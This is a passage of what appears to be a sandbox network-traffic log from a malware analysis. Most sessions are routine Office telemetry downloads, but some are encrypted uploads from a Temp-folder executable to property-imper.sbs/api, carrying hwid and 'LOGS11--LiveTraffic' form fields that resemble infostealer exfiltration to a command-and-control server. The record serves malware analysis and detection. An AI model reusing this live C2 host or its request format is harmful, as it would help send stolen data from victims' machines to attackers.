cl]#1`M:WG[{5S?Ky
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 d3 87 94 c3 Data Ascii: 6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacF
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 7e 74 f5 d9 Data Ascii: Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$~t
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 53 ce 84 49 d1 61 57 29 99 5d 75 Data Ascii: P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW)]u
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 57 0f db e3 Data Ascii: 1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6BW
2024-11-23 02:21:46 UTC	15331	OUT	Data Raw: 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 15 1f 3e 31 Data Ascii: nLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R>1
2024-11-23 02:21:52 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etv86b2rqq3jlupi6lqgnv7eof; expires=Tue, 18-Mar-2025 20:08:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7G9%2Fk0qSYQuAhNjCSDbZKqxStUqd%2Fmp3vZfrOqQxeL6XFjIKqjIwQ9ZfgTv97GzXIPUqADoJasLuknQ6yk%2Ffuhssuv26q2jjAdplIEpCeh2UuopsIepmA%2BTWwzBlSSCzGx3H%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db01058e90cba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&sent=312&recv=597&lost=0&retrans=0&sent_bytes=2844&recv_bytes=569331&delivery_rate=1656267&cwnd=215&unsent_bytes=0&cid=c0a00f26e34e26c4&ts=5343&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:47 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022147Z-178bfbc474bgvl54hC1NYCsfuw00000003ug000000009kuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:47 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022147Z-15b8b599d88qw29phC1TEB5zag000000026g00000000h936 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49859	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:47 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2UBVKFC9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18109 Host: property-imper.sbs
2024-11-23 02:21:47 UTC	15331	OUT	Data Raw: 2d 2d 32 55 42 56 4b 46 43 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 32 55 42 56 4b 46 43 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 55 42 56 4b 46 43 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 55 42 56 4b 46 43 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --2UBVKFC9Content-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--2UBVKFC9Content-Disposition: form-data; name="pid"2--2UBVKFC9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2UBVKFC9Content-Di
2024-11-23 02:21:47 UTC	2778	OUT	Data Raw: 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V
2024-11-23 02:21:48 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f96ln7evthvgvgg0f39nq2ku3r; expires=Tue, 18-Mar-2025 20:08:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fONQUXeAexRrNhDBXm7C5Kq26c21HE2AChX0MGSJ0vyOkBZlCzHsGpBFqE5ZtTi1DlJCwRZjl6Z4ydtLa79zOBKcj4sSejKJSH0pDHRg6gUk1TyeOZJRxfWeAo0fGJ3x0%2F8U2zg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db016eca9efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1896&sent=18&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19063&delivery_rate=1566523&cwnd=147&unsent_bytes=0&cid=0f3368532e8882a5&ts=1052&x=0"
2024-11-23 02:21:48 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:48 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022148Z-178bfbc474bp8mkvhC1NYCzqnn00000003t0000000000d9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:48 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2537bc41-601e-0050-496a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022148Z-174c587ffdfldtt2hC1TEBwv9c000000020g00000000s81g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022148Z-15b8b599d88m7pn7hC1TEB4axw00000002eg0000000017q1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:49 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:49 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4d8c69aa-d01e-0028-1552-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022149Z-15b8b599d882hxlwhC1TEBfa5w000000025g00000000cb1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:49 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
